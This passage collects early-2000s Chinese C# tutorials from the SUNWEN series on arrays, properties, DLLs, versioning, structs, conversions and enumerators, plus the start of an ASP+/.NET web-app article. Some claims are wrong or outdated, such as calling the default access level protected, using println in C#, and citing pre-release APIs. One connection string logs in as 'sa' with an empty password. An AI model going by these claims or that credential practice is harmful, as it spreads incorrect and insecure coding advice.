004:     public static void Main()
005:     {
006:         // Single-dimensional array
007:         int[] numbers = new int[5];
008:
009:         // Multidimensional array
010:         string[,] names = new string[5,4];
011:
012:         // Array-of-arrays (jagged array)
013:         byte[][] scores = new byte[5][];
014:
015:         // Create the jagged array
016:         for (int i = 0; i < scores.Length; i++)
017:         {
018:             scores[i] = new byte[i+3];
019:         }
020:
021:         // Print length of each row
022:         for (int i = 0; i < scores.Length; i++)
023:         {
024:             Console.WriteLine("Length of row {0} is {1}", i, scores[i].Length);
025:         }
026:     }
027: }
它的输出是:
Length of row 0 is 3
Length of row 1 is 4
Length of row 2 is 5
Length of row 3 is 6
Length of row 4 is 7

在C#中数组的初始化可以在建立时就初始化,和JAVA和C一样,用的是{}.当然,很明显,你的初始化值必须与你声明的数组类型一样,比如你定义了一个int类型的,你就不能给它一个String,唉,JAVA看多了,在C#中,String应写为string,要不然,又要出错了.SUNWEN可能在后面的课程中出现这样的错误,还望大家指正.呵呵!

下面的例子说明了数组的初始化:

int[] numbers = new int[5] {1, 2, 3, 4, 5};
string[] names = new string[3] {"Matt", "Joanne", "Robert"};

你也可以省略数组的大小,如:

int[] numbers = new int[] {1, 2, 3, 4, 5};
string[] names = new string[] {"Matt", "Joanne", "Robert"};

你甚至可以省略new语名,如果你给了值:

int[] numbers = {1, 2, 3, 4, 5};
string[] names = {"Matt", "Joanne", "Robert"};

在C#中,数组的访问和C/C++/JAVA是一样的,下面的语句建立了一个数组,并将它的第五个元素赋值为5:
int[] numbers = {10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0};
numbers[4] = 5;

如果你没有C/JAVA/C++的编程经验,那么SUNWEN在此提醒,numbers[4]表示的是这个数组的第五个元素,因为我在前面已经说过了,数组是从0开始计的,所以0,1,2,3,4正好是第五个,所以....(台下:笨蛋,你以为我们不知道呀,快继续说!)

下面的例子是关于多维数组的:

int[,] numbers = { {1, 2}, {3, 4}, {5, 6}, {7, 8}, {9, 10} };
numbers[1, 1] = 5;

再次注意,C#中的所有数组都是对象(faint,D版),所以,你可以用访问对象的方法,来访问数组.而System.Array就是数组的抽象.你可以参看文档来看Array类支持的方法.举个例子来说吧,你可以用length属性来访问数组的长度.如下例:

int[] numbers = {1, 2, 3, 4, 5};
int LengthOfNumbers = numbers.Length;
噢,好了,又完了一课,现在是北京时间上午9点16分,我要休息一下了!哈哈!待会见!


csdn_SUNWEN教程之----C#进阶 （四）

SUNWEN教程之----C#进阶
（四）
mrfat@china.com

这次我要向大家讲的是C#中的属性.属性是什么呢,比如说我是男的,男就是我的一人属性.我是一个大一的学生,大一也是我的一个属性.属性就是一个对象的性质.很简单吧,呵呵!下面,我给出两个例子,第一个例子出明了如何声明一个可以修改的属性,另一个例了建立了一个抽象的属性(Abstract),并且说明了如何在子类中丢弃它.好,下面让我们开始吧.

例子一:

000: // Properties\person.cs
001: using System;
002: class Person
003: {
004:     private string myName ="N/A";
005:     private int myAge = 0;
006:
007:     // 声明一个字符型的属性Name
008:     public string Name
009:     {
010:         get
011:         {
012:            return myName;
013:         }
014:         set
015:         {
016:            myName = value;
017:         }
018:     }
019:
020:     // 声明一个int型的Age属性
021:     public int Age
022:     {
023:         get
024:         {
025:            return myAge;
026:         }
027:         set
028:         {
029:            myAge = value;
030:         }
031:     }
032:
033:     public override string ToString()
034:     {
035:         return "Name = " + Name + ", Age = " + Age;
036:     }
037:
038:     public static void Main()
039:     {
040:         Console.WriteLine("Simple Properties");
041:
042:         // 建立一个Person的实例
043:         Person person = new Person();
044:
045:         //打印出它的属性
046:         Console.WriteLine("Person details - {0}", person);
047:
048:         // 对属性进行一些设置
049:         person.Name = "Joe";
050:         person.Age = 99;
051:         Console.WriteLine("Person details - {0}", person);
052:
053:         // 增加年龄
054:         person.Age += 1;
055:         Console.WriteLine("Person details - {0}", person);
056:     }
057: }

这个例子的输出是：

Simple Properties
Person details - Name = N/A, Age = 0
Person details - Name = Joe, Age = 99
Person details - Name = Joe, Age = 100

好了，又起床了，昨天写到这，就跑到床上睡了，呵呵.现在是五一的第二天,看看我今天能写几篇,昨天写了二篇.

从上面的程序我们可以看出,一个类的属性的设置,借用了VB的概念,和JAVA中不尽相同了.(这就是M$,TMD!)有的朋友可能很奇怪,为什么我们可以用Console.WriteLine()来打印一个对象person呢.其实道理很简单,和在JAVA中的一样,当调节器用一个打印方法时,这个对象自动调用它的ToString()(在JAVA中是toString,TMD,又差点犯错!)方法.在33行,我们可以看到有这个方法的影子,override这个关键字大概就是覆盖父类的方法吧,这是不是有点多余?我们可以看到,一个对象的属性的设置是通过一个get()和set()组合来完成的,当然,还有一个value这个东东.补充一下,你还可以控制一个属性的读/写权限,只是把get()和set()简单地去掉就可以了,比如你不要写的属性,就不要set()就可以了,如果你不要读,就不要get()吧.总得感觉,C#在这点上没有JAVA来的灵活(完了,又要被盖痴打了!).

第二个例子:

这个例子说明了如何建立抽象的属性(Abstract),什么是抽象的属性呢,所谓的抽象的属性呢,就是....(唉,每次废话都这么多!FT) 一个抽象类并不提供执行属性存取程序,并且,他可以在子类中被忽略.下面的例子有三个文件,你要分别编译它们才能得到结果,它们是:

  • abstractshape.cs: Shape类,包含一个Area抽象属性
  • shapes.cs: Shape的子类
  • shapetest.cs: 显示程序.

要编译这些程序,运行:csc abstractshape.cs shapes.cs shapetest.cs就可以了.运行完之后,它会产生shapetest.exe这个可执行程序.

000: // Properties\abstractshape.cs
001: using System;
002:
003: public abstract class Shape
004: {
005:    private string myId;
006:
007:    public Shape(string s)
008:    {
009:       Id = s;   // 这句调用了Id属性的set构建器
010:    }
011:
012:    public string Id
013:    {
014:       get
015:       {
016:          return myId;
017:       }
018:
019:       set
020:       {
021:          myId = value;
022:       }
023:    }
024:
025:    public abstract double Area
026:    {
027:       get;
028:    }
029:
030:    public override string ToString()
031:    {
032:       return Id + " Area = " + double.Format(Area, "F");
033:    }
034: }

看这个程序, 实际上非常地简单,当这个类对的对象被建立时,初始化部分为007-010,它把建立对象的参数s给了Id这个属性.然后进行了上一个例子的操作.实际上,我们可以把抽象属性与JAVA中的接口(Interface)相比,它们只提拱一个方法的名称,而不提供这个方法的内容.就像Area这个抽象属性,有一个get,但是它并没有指定get方法(也许它不能称之为方法)里的内容,即要get做什么事情. 这个事情,由它的子类来做.

第二个文件:在这个文件中,一个类覆盖了(override)了Area属性.

000: // Properties\shapes.cs
001: public class Square : Shape
002: {
003:    private int mySide;
004:
005:    public Square(int side, string id) : base(id)
006:    {
007:       mySide = side;
008:    }
009:
010:    public override double Area
011:    {
012:       get
013:       {
014:          return mySide * mySide;
015:       }
016:    }
017: }
018:
019: public class Circle : Shape
020: {
021:    private int myRadius;
022:
023:    public Circle(int radius, string id) : base(id)
024:    {
025:       myRadius = radius;
026:    }
027:
028:    public override double Area
029:    {
030:       get
031:       {
032:          return myRadius * myRadius * System.Math.PI;
033:       }
034:    }
035: }
036:
037: public class Rectangle : Shape
038: {
039:    private int myWidth;
040:    private int myHeight;
041:
042:    public Rectangle(int width, int height, string id) : base(id)
043:    {
044:       myWidth  = width;
045:       myHeight = height;
046:    }
047:
048:    public override double Area
049:    {
050:       get
051:       {
052:          return myWidth * myHeight;
053:       }
054:    }
055: }

这个例子就有些让我们一头雾水了,:是干什么的,好象是继承,相当于JAVA中的extends吧.我想是的.我们先看一看吧.

下面的第三个文件就是一个测试文件了,很简单,大家看一看.

000: // Properties\shapetest.cs
001: public class TestClass
002: {
003:    public static void Main()
004:    {
005:       Shape[] shapes =
006:          {
007:             new Square(5, "Square #1"),
008:             new Circle(3, "Circle #1"),
009:             new Rectangle( 4, 5, "Rectangle #1")
010:          };
011:
012:       System.Console.WriteLine("Shapes Collection");
013:       foreach(Shape s in shapes)
014:       {
015:          System.Console.WriteLine(s);
016:       }
017:
018:    }
019: }

从这个例子上看,:这个符号的确是extends的意思,就是继承.继承是什么意思,说白了,就是生孩子的意思.比如下面一句sunwenson extends sunwen,这名就是说sunwenson这个类继承了sunwen,sunwenson这个类有sunwen类的所有东西,同时可以添加和删除sunwen中的一些东西.就这么简单,但是这是现代软件发展的一项重要技术,因为它可以使软件的重用性大大提高.唉,这些就只有大三大四的人说了,我就没资格了.呵呵.

这个程序的输出是:

Shapes Collection
Square #1 Area = 25.00
Circle #1 Area = 28.27
Rectangle #1 Area = 20.00
完了,这一节又完了.要理解这一节,有一定的难度, 特别对那些没有JAVA或C++编程经验的朋友.不过不要害怕,鼓起勇气学下去,一定会有所收获的. 我也要休息一下了,嘿嘿,早饭还没有吃呢!


csdn_SUNWEN教程之----C#进阶 （五）

SUNWEN教程之----C#进阶
（五）
mrfat@china.com

我现在要说的是库(libraries),和大家一起学习如何用C#建立一个DLL文件.说起DLL,肯定是无人不知,无人不晓,这个WINDOWS的典型代表,同时也经常是大家功击的对象.呵呵,不管怎么样,学还是要学的.我们下面就开始,如何用命令行方式将一个C#程序编译成DLL,和如何在客户端使用他.

这个例子包括两个文件,一个是Factorial.cs,作用是计算一个数字的阶乘.还有一个是DigitCounter.cs,作用是计算传过来的字符串参数中的数字的数目.

我们可以这样来建立库,在命令行方式下这样做:
csc /target:library /out:Functions.dll Factorial.cs DigitCounter.cs

下面讲一下各个参数的用法:

/target:library:向系统指出输出的是一个DLL库,而不是一个EXE的可执行文件.
/out:Functions.dll:指定输出的DLL的文件名,即Functions.dll,一般地,如果你省略了第一个参数,那么默认的文件名将是第一个文件的文件名,即Factorial.dll.

下面我们再来建立一个文件,即使用这个库的文件,叫客户端文件,FunctionClient.cs.建立好后,用下面的语名编译:

csc /out:FunctionTest.exe /R:Functions.DLL FunctionClient.cs

下面说一下这个编译语句的用法:

/out:FunctionTest.exe:指出输出的文件名是FunctionTest.exe
/R:Functions.DLL:指出要引用的库,如果不是在当前目录下,必须要指出其的完整路径.

下面我就把这几个文件的代码写在下面:

000: // Libraries\Factorial.cs
001: using System;
002:
003: namespace Functions
004: {
005:     public class Factorial
006:     {
007:         public static int Calc(int i)
008:         {
009:             return((i <= 1) ? 1 : (i * Calc(i-1)));
010:         }
011:     }
012: }

这是Factorial.cs这个文件的代码.在003行中,namespace的意思是名字空间,据M$的介绍,库必须根据它的名字空间打包,以使.NET能够正确地载入你的类.

下面是DigitCounter.cs这个文件的内容:

000: // Libraries\DigitCounter.cs
001: using System;
002:
003: namespace Functions
004: {
005:     public class DigitCount
006:     {
007:         public static int NumberOfDigits(string theString)
008:         {
009:             int count = 0;
010:             for ( int i = 0; i < theString.Length; i++ )
011:             {
012:                 if ( Char.IsDigit(theString[i]) )
013:                 {
014:                       count++;
015:                 }
016:             }
017:
018:             return count;
019:         }
020:     }
021: }

注意,这个例子中的namespace应与第一个的一致,因为它们是同一个库中的.NumberOfDigits方法计算了参数中的数字的个数.

第三个文件是FunctionClient.cs

我们知道,一个库一旦建立,就可以被别的类利用(废话,要不然怎么叫库呢?).下面的C#程序就利用了我们刚才建立的库中的类.

000: // Libraries\FunctionClient.cs
001: using System;
002: using Functions;
003: class FunctionClient
004: {
005:     public static void Main(string[] args)
006:     {
007:         Console.WriteLine("Function Client");
008:
009:         if ( args.Length == 0 )
010:         {
011:             Console.WriteLine("Usage: FunctionTest ... ");
012:             return;
013:         }
014:
015:         for ( int i = 0; i < args.Length; i++ )
016:         {
017:             int num = Int32.Parse(args[i]);
018:             Console.WriteLine(
019:                "The Digit Count for String [{0}] is [{1}]",
020:                args[i],
021:                DigitCount.NumberOfDigits(args[i]));
022:             Console.WriteLine(
023:                "The Factorial for [{0}] is [{1}]",
024:                 num,
025:                 Factorial.Calc(num) );
026:         }
027:     }
028: }

在002行中,一个using Functions指明了引用Functions.DLL这个类.

如果我们在命令行中键入如下命令,就可以看到输出:

FunctionTest 3 5 10

输出:

Function Client

The Digit Count for String [3] is [1]

The Factorial for [3] is [6]

The Digit Count for String [5] is [1]

The Factorial for [5] is [120]

The Digit Count for String [10] is [2]

The Factorial for [10] is [3628800]

注意:当你运行这个.EXE文件时,它引用的DLL文件可以是在当前目录,子目录,或是CORPATH这个环境变量.CORPATH这个环境变量是在.NET环境中的类路径,用来指引系统寻找类.说白了,就是JAVA中的CLASSPATH,明白了吧,呵呵.

好了,又完了一篇,今天的任务完成了,可以休息了.唉,有什么好玩的呢?


csdn_SUNWEN教程之----C#进阶 （六）

SUNWEN教程之----C#进阶
（六）
mrfat@china.com

现在我要说的是C#中的版本处理.其实这是任何一个软件必须要考虑的问题.每个软件都不只一个版本(除了我写的以外),因此版本处理显得非常地重要.JAVA很好地处理了这个问题,而我个人认为C#借鉴了JAVA的处理方法,所以,也做得很好.

在C#中,如果你在声明一个方法的时候用了virtual这个关键字,那么,在派生类中,你就可以使用override或者new关键字来弃用它或是忽略它.如果你在父类中用了virtual这个关键字,而在其派生类中又没有用override或new关键字,而直接引用一个同名方法的话,编译器将会报错,并将以new方式,即忽略派生类中的方法的方式来运行.下面的例子可以帮助你来理解:

000: // Versioning\versioning.cs
001: public class MyBase
002: {
003:     public virtual string Meth1()
004:     {
005:         return "MyBase-Meth1";
006:     }
007:     public virtual string Meth2()
008:     {
009:         return "MyBase-Meth2";
010:     }
011:     public virtual string Meth3()
012:     {
013:         return "MyBase-Meth3";
014:     }
015: }
016:
017: class MyDerived : MyBase
018: {
019:     public override string Meth1()
020:     {
021:         return "MyDerived-Meth1";
022:     }
023:     public new string Meth2()
024:     {
025:         return "MyDerived-Meth2";
026:     }
027:     public string Meth3() // 系统在这里将会有一个警告,并且将会隐藏方法Meth3()
028:
029:
030:     {
031:         return "MyDerived-Meth3";
032:     }
033:
034:     public static void Main()
035:     {
036:         MyDerived mD = new MyDerived();
037:         MyBase mB = (MyBase) mD;
038:
039:         System.Console.WriteLine(mB.Meth1());
040:         System.Console.WriteLine(mB.Meth2());
041:         System.Console.WriteLine(mB.Meth3());
042:     }
043: }

输出:

MyDerived-Meth1
MyBase-Meth2
MyBase-Meth3

可以很明显地看出来,后两个new关键字的输出是父类中的方法的输出,所以可以看出,new这个关键字的作用是如果在以前的版本中有这个方法,就沿用以前的方法,而不用我现在方法内容.而virtual的方法的作用正好相反,它的作用是如果在父类中有这样一个方法,则用我现在写的方法内容,让以前的滚蛋!不过,这里用new好象不太好,让人误解(糟了,盖痴又要打我了!&*%$#@).

如果你把第037行去掉,把039-041中的mB全部改为mD，输出又变为:

MyDerived-Meth1
MyDerived-Meth2
MyDerived-Meth3

这又说明了什么呢,说明了派生类的对象只有在被父类重塑的时候,override和new关键字才会生效.呵呵,这样说的确有点难以理解,大家只有自己动手,才能搞清楚这其中的机关,所谓"实践是检验C#的唯一标准",哈哈!

在C#中,你可以自由地为在派生类中为加入一个方法,或者覆盖父类的方法,如下所示,非常地简单:

class Base {}
class Derived: Base
{
public void F() {}
}

和:

class Base
{
public void F() {}
}
class Derived: Base
{
public void F() {}
}
好了,这一节又完了,音乐还没完,但是我真的要休息了,明天见!


csdn_SUNWEN教程之----C#进阶 （七）

SUNWEN教程之----C#进阶
（七）
mrfat@china.com

我要说的是C#中的结构(struct),注意,我在这里说的结构不是指的C#的语言结构.这里所说的是一种与类(class)相对的东西,下面我就与类相对比,来说一说这个struct.

下面的这个例子讲述了如何建立一个具有属性,方法和一个字段的结构.并讲述如何使用他.

000: // Structs\struct1.cs
001: using System;
002: struct SimpleStruct
003: {
004:     private int xval;
005:     public int X
006:     {
007:         get {
008:             return xval;
009:         }
010:         set {
011:             if (value < 100)
012:                 xval = value;
013:         }
014:     }
015:     public void DisplayX()
016:     {
017:         Console.WriteLine("The stored value is: {0}", xval);
018:     }
019: }
020:
021: class TestClass
022: {
023:     public static void Main()
024:     {
025:         SimpleStruct ss = new SimpleStruct();
026:         ss.X = 5;
027:         ss.DisplayX();
028:     }
029: }
这个例子的输出是:
The stored value is: 5

从上面的例子中我们可以看到结构和类似乎是一样的.的确,如果你用类去重亲写这个程序,结果是一样的.但是,很明显,两个一样的东西是不可能一起出现的. 结构(struct)是值(value)型的,而类是参考型的.这样,你就可以用结构建立像内建类型那样的对象了.

还有就是如果你用一个new关键字建立一个类的实例的时候,它是以堆(heap)来分配的,而用new来建立一个结构的的实例的时候,它是以栈(stack)来分配.这会给我们提高很多性能(M$说的).好了,让我们再来看下面的例子吧:

000: // Structs\struct2.cs
001: using System;
002:
003: class TheClass
004: {
005:     public int x;
006: }
007:
008: struct TheStruct
009: {
010:     public int x;
011: }
012:
013: class TestClass
014: {
015:     public static void structtaker(TheStruct s)
016:     {
017:         s.x = 5;
018:     }
019:     public static void classtaker(TheClass c)
020:     {
021:         c.x = 5;
022:     }
023:     public static void Main()
024:     {
025:         TheStruct a = new TheStruct();
026:         TheClass b = new TheClass();
027:         a.x = 1;
028:         b.x = 1;
029:         structtaker(a);
030:         classtaker(b);
031:         Console.WriteLine("a.x = {0}", a.x);
032:         Console.WriteLine("b.x = {0}", b.x);
033:     }
034: }
这个例子的输出是:
a.x = 1
b.x = 5

从这个例子例子可以看出,当一个结构被传递到一个方法时,被传递的只不过是一个副本,而一个类被传递时,被传递的是一个参考.所以a.x=输出的是1,不变,而b.x却变了.

还有的区别就是结构可以不用new来实例化,而类却要.如果你不用new来实例化一个结构,那么所有的字段将仍然处于未分配状态,直到所有的字段被初始化.和类一样,结构可以执行接口.更重要的是,结构没有继承性,一个结构不能从别的类继承,也不能是别的类的基类.

例三:

interface IImage
{
void Paint();
}
struct Picture : IImage
{
public void Paint()
{
// painting code goes here
}
private int x, y, z;  // other struct members
}
好了,关于结构我就讲到这了,以后还会讲到的.


csdn_SUNWEN教程之----C#进阶 （八）

SUNWEN教程之----C#进阶
（八）
 mrfat@china.com

大家好,我是武汉华师的SUNWEN,今天Zzz....(快醒醒!啪!..啪!倒,叫我起来也不要用皮鞋来打嘛@#$%&*).现在是五月四号晚上19:33,我好想睡觉.只好打开音乐来提神了!

这一节我要讲的是大家非常关心的,肯定也是非常感兴趣的部分.嘿嘿,也是我写教程最拿手的部分----ADO数据库访问.想到这,我就想起我在去年写的"访问数据库"系列文章,嘿嘿!所以呢,如果你觉得对记录集之类的东西比较难理解的话,我推荐你先看一看我的那几篇文章.好了,让我们开始吧!

什么是ADO(ActiveX Data Objects译作ActiveX数据对象),ADO是一个非常简单的思想,一种让你仅用一种方式去访问数据的思想.ADO不算一个新的思想,仅是采用现有的数据访问技术,将其融合起来.如果你不理解ADO,想一想ODBC吧!其实我们在搞ASP的时候,就用到了ADO,还记得吗,那个曾经被我们用过无数次的set conn=Server.CreateObject("ADODB.Connection")吗?是的,就是它.至于ADO的一些概念性的东西,请大家自行查阅资料,不过,其实不了解也没有关系,只把它想象成一个M$给我们的访问数据的工具吧!

OK,下面的例子是以一个M$ ACCESS 2000的数据库为基础的,它的结构如下,表名是Categories,文件名是BugTypes.mdb ,赶快建一个吧:

Category ID | Category Name
1 | Bugbash stuff
2 | Appweek Bugs
3 | .NET Reports
4 | Internal support


csdn_SUNWEN教程之----C#进阶 （九）

SUNWEN教程之----C#进阶
（九）
mrfat@china.com

现在我要说的是C#中的用户自定义转换(User-Defined Conversions),其中用到了前面说的struct的知识,就是结构呀,忘了吗?好,没忘就好.从我们以下的课程我们可以看到结构的用处(刚才我还在想它有什么用,呵呵).用class声明的是一个类,而用struct声明的可以看作是一个类型,对,就是像C#自带的int,short,long那样的类型了.

C#中可以允许我们对结构(struct)和类(class)进行转换,所以我们可以在其中定义一些转换.但是,C#规定,所有的转换声明都必须在显示(explicit)和隐示(implicit)中选择一个.比方说,我们用这个语句的时候
int a=10;
System.Console.println(a):
就用到了int的隐示的转换toString.如果是(String)a,就叫做显示.所以,显/隐之差就在于是否表现出来.大家现在肯定还是一头雾水,等到明天我把例子写出来再分析一下就清楚了,要熄灯了,我先走一步了!

喔~~~~~终于起来了，五月五日8:45.下面给出例子,在这个例子中,一个名为RomanNumeral的类型被声明,然后对他实施了好几种转换.

000: // UserConversions\conversion.cs
001: using System;
002:
003: struct RomanNumeral
004: {
005:     public RomanNumeral(int value)
006:     {
007:        this.value = value;
008:     }
009:     static public implicit operator RomanNumeral(int value)
010:     {
011:        return new RomanNumeral(value);
012:     }
013:     static public explicit operator int(RomanNumeral roman)
014:     {
015:        return roman.value;
016:     }
017:     static public implicit operator string(RomanNumeral roman)
018:     {
019:        return("Conversion not yet implemented");
020:     }
021:     private int value;
022: }
023:
024: class Test
025: {
026:     static public void Main()
027:     {
028:         RomanNumeral numeral;
029:
030:         numeral = 10;
031:
032: // 显式地从numeral到int的转换
033:         Console.WriteLine((int)numeral);
034:
035: // 隐示地转换到string
036:         Console.WriteLine(numeral);
037:
038: // 显示地转换到int,然后显示地转换到short
040:         short s = (short)numeral;
041:
042:         Console.WriteLine(s);
043:
044:     }
045: }

这个例子子的输出是:

10
Conversion not yet implemented
10

注意009和013的operator操作符,它是一个转换操作符.static public explicit operator int(RomanNumeral roman),记住这样的形式,它就代表了一个转换.再看第033行,因为在前面int这个转换被声明成了explicit,即显示地,所以,在使用这个转换时,必须用括号.

下面再给出一个例子,这个例子声明了两个结构,RomanNumeral和BinaryNumeral,然后在它们之间进行转换.

000: // UserConversions\structconversion.cs
001: using System;
002:
003: struct RomanNumeral
004: {
005:     public RomanNumeral(int value) { this.value = value; }
006:     static public implicit operator RomanNumeral(int value)
007:         {return new RomanNumeral(value);}
008:     static public implicit operator
009:         RomanNumeral(BinaryNumeral binary)
010:             {return new RomanNumeral((int)binary);}
011:     static public explicit operator int(RomanNumeral roman)
012:         {return roman.value;}
013:     static public implicit operator string(RomanNumeral roman)
014:         {return("Conversion not yet implemented");}
015:     private int value;
016: }
017:
018: struct BinaryNumeral
019: {
020:     public BinaryNumeral(int value) {this.value = value;}
021:
022:     static public implicit operator BinaryNumeral(int value)
023:         {return new BinaryNumeral(value);}
024:     static public implicit operator string(BinaryNumeral binary)
025:         {return("Conversion not yet implemented");}
026:     static public explicit operator int(BinaryNumeral binary)
027:         {return(binary.value);}
028:
029:     private int value;
030: }
031:
032: class Test
033: {
034:     static public void Main()
035:     {
036:         RomanNumeral roman;
037:         roman = 10;
038:         BinaryNumeral binary;
039:         binary = (BinaryNumeral)(int)roman;
040:         roman = binary;
041:         Console.WriteLine((int)binary);
042:         Console.WriteLine(binary);
043:     }
044: }

这个例子的输出是:

10
Conversion not yet implemented

注意,第039行并没有直接由RomanNumeral转化成BinaryNumeral,因为没有直接的转换提供.所以先把RomanNumeral转换成int,再转成BinaryNumeral.其余的东西跟上面的例子是一样的(至少我这么认为),如果上面的例子理解了,下面的就好了.

OK,又完了一节,学了这么多,大家有什么感觉呢,欢迎和我交流,mrfat@china.com


csdn_SUNWEN教程之----C#进阶 （十）

SUNWEN教程之----C#进阶
（十）
mrfat@china.com

现在我想说的是C#中的容器.这是一个非常重要的话题,因为不管你写什么样的程序,你都不能不与容器打交道.什么是容器呢(倒!).容器就是可以容纳东西的东西(再倒!),在C#和JAVA这种面向对象的编程语言中,容器就被称为可以容纳对象的东东,不是说"一切都是对象吗?"以前,我一个搞C++的程序员朋友告诉我,JAVA中的容器太好用了,比C++好用多了.而作为JAVA的后来者的C#毫无疑问,它的容器功能肯定也是很强大的.

foreach语句是遍历容器的元素的最简单的方法.我们可以用System.Collections.IEnumerator类和System.Collections.IEnumerable接口来使用C#中的容器,下面有一个例子,功能是字符串分割器.

000: // CollectionClasses\tokens.cs
001: using System;
002: using System.Collections;
003:
004: public class Tokens : IEnumerable
005: {
006:    private string[] elements;
007:
008:    Tokens(string source, char[] delimiters)
009:    {
010:       elements = source.Split(delimiters);
011:    }
012:
013:    //引用IEnumerable接口
014:
015:    public IEnumerator GetEnumerator()
016:    {
017:       return new TokenEnumerator(this);
018:    }
019:
020:
021:
022:    private class TokenEnumerator : IEnumerator
023:    {
024:       private int position = -1;
025:       private Tokens t;
026:
027:       public TokenEnumerator(Tokens t)
028:       {
029:          this.t = t;
030:       }
031:
032:       public bool MoveNext()
033:       {
034:          if (position < t.elements.Length - 1)
035:          {
036:             position++;
037:             return true;
038:          }
039:          else
040:          {
041:             return false;
042:          }
043:       }
044:
045:       public void Reset()
046:       {
047:          position = -1;
048:       }
049:
050:       public object Current
051:       {
052:          get
053:          {
054:             return t.elements[position];
055:          }
056:       }
057:    }
058:
059:    // 测试
060:
061:    static void Main()
062:    {
063:       Tokens f = new Tokens("This is a well-done program.", new char[] {' ','-'});
064:       foreach (string item in f)
065:       {
066:          Console.WriteLine(item);
067:       }
068:    }
069: }
这个例子的输出是:
This
is
a
well
done
program.
好了,这一节就说到这了.现在环境不太好,旁边一大帮同学在看VCD,不好搞.


csdn_SUNWEN教程之----C#进阶 （十一）

SUNWEN教程之----C#进阶
（十一）
mrfat@china.com

OK,我又回来了，前面写了那么多，跟JAVA的对比也够多了，现在我就用我自己试验的例子，来看一看C#这个被称为JAVA#的新一代编程语言到底与JAVA有多大的区别.

首先我们建立一个C#的程序文件cs1.cs,然后再建立一个JAVA的源程序文件cs1.java.它们的内容分别是:

cs1.cs:

using System;
public class cs1{
public static void Main(){
Console.WriteLine("i am sunwen!");
sunwen mySunwen=new sunwen();
Console.WriteLine(mySunwen.name);
}
}
class sunwen{
public String name="chenbin!";
}

cs1.java:

import System.*;
public class cs1{
public static void main(String args[]){
System.out.println("i am sunwen,how are you!");
sunwen mySunwen=new sunwen();
System.out.println(mySunwen.name);
}
}
class sunwen{
String name="chenbin!";
}

OK,让我们来运行一下这两个程序.在编译过程中我们发现,C#的速度的确比JAVA要快好多.(不是说M$的好话)其实,两个程序的输出是一样的,都是:

i am sunwen!
chenbin!

有一个重要的区别就是看有一行是publc String name="chenbin!",而在JAVA中却是String name="chenbin!".如果我们在cs1.cs中把这个public去掉,就会产生错误,因为在C#中,不用任何范围修饰符时,默认的是protect,因而不能在类外被访问.

这是一个重要的区别之一.还有就是:如果我们把cs1.cs这个C#程序中的一句public class cs1改为public class cs2,存盘,再编译,可以看到,程序正常运行.而在JAVA中,这显然不行,因为JAVA规定,在一个文件中只能有一个public类,而且这个类的名称必须与文件名一模一样.这又是一个区别,在C#中,它是以Main方法来定位入口的.如果一个程序中没有一个名为Main的方法,就会出"找不到入口的错误".不要把Main写成main哟,嘻嘻,我经常犯这样的错误.

好了,就说到这了,以后再遇到再说吧!


csdn_用C＃创建Web应用程序

  用C＃创建Web应用程序
作者： 霍炬
    使用微软正在推行的．NET技术和C＃语言可以快速建立Web应用程序，其安全性和可升级性都大大胜过普通的ASP应用程序。在这篇文章里，我们将使用．NET和C＃一步一步的建立一个应用程序。

    系统需求：

    Internet Explorer 5.5

    Windows 2000 Professional, Server 或 Advanced Server

    ASP＋/Microsoft ．NET (预览版可以在 http://msdn.microsoft.com/net 下载)

    SQL Server 7.0 + SP1 或更高版本

    使用微软 ．NET的高级对象模型(Advanced Object Model)可以快速建立安全的，易于升级性的Web应用程序。

    微软的 ．NET是一个开发商业解决方案的理想技术。．NET技术结合C＃的弹性和高性能，开发商业程序比以往仅仅使用ASP的方法更为简单。

    在这篇文章里，我们将使用 ．NET和C＃来建立一个简单的商业应用程序--一个能够让客户浏览你的产品目录的程序。

    这个程序包含了最基本的．NET和C＃技术，在本文中，将涉及到如何建立和编译C＃的商业应用层组件。也将谈到怎样使用ASPX页面存取组件和绑定数据。综合使用这些技术，可以花费比传统的ASP方法更少的时间建立Web应用程序。

    稳固的．NET应用程序仍然依靠于稳固的数据库计划和精心编写的存储过程。

    应用程序可以通过组件调用已经写好的存储过程。大部分多层方法都不推荐直接从程序中调用数据，那样会降低程序的速度，也不利于调试。

    本文主要讨论C＃和ASP＋，不过多的讨论建立数据库和存储过程。

组件的开发
    我们将要编写的c＃组件同时作为逻辑层和数据存取层。

    如果打算将来把程序移植到另一种数据库中，比如Oracle，那么需要把逻辑层和数据存取层分别放在两个组件中。本文中只使用SQL Server，所以不需要分开它们。

    这个应用程序需要两个页面：Default.aspx 和 ProductList.aspx。 Default.aspx 是用户访问Web首先看见的页面，它列出所有的产品种类。用户从Default.aspx菜单中选择种类后，将进入ProductList.aspx页面，这个页面显示了当前类所有产品的列表。

    在用户使用这两个页面的过程中，发生了两个动作：第一个是在菜单中列出产品种类（Default.aspx），第二个是在产品列表的页面中列出产品（ProductList.aspx）。我们可以建立两个函数来完成这两个任务,这两个函数都通过调用存储过程获取数据。对应这两个函数，我们在一个叫做CommerceDotNet的名字空间中建立起两个类：Category 和 Product。（图1）使用CommerceDotNet.Categories实例化Categories类，使用CommerceDotNet.Products实例化Products类。为了使代码清晰，我们在不同的文件中分别声明这两个类。由于他们共享一个名字空间，即使在不同的文件声明，在编译后也将成为一个单独的组件。

    CategoryList方法传递了一个包含所有产品种类的数据集给系统。在Categories类中加入CategoryList的方法。

    代码如下：

    namespace CommerceDotNet {

     public class Categories {

        public DataSet CategoryList() {

        }

     }

    }

    建立了这个类以后，开始为CategoryList方法添加代码。

    CategoryList方法获取数据的过程分为四步：1.通过SQLConnection和SQLDataSetCommand对象建立数据连接和命令对象。2.把命令对象类型设置为存储过程。3.把存储过程ListCategory的结果送入数据集。4.把包含结果的数据集返回给调用它的函数。

    完整的CategoryList方法代码如下：

    public DataSet CategoryList() {

        // 建立数据连接和命令对象

        SQLConnection myConnection = new SQLConnection

        ("server=localhost;uid=sa;pwd=;database=commercedotnet");

        SQLDataSetCommand myCommand = new SQLDataSetCommand("ListCategory", myConnection);

        // 设置命令对象类型为存储过程

        myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;

        // 建立和填充数据集

        DataSet myDataSet = new DataSet();

        myCommand.FillDataSet(myDataSet, "CategoryList");

        // 返回数据集

        return myDataSet;

     }

    ProductsList方法和CategoryList方法类似，但是ProductsList向存储过程传递了一个参数。

    代码如下：

    public DataSet ProductsList(int categoryID) {

        // 建立数据连接和命令对象

        SQLConnection myConnection = new SQLConnection

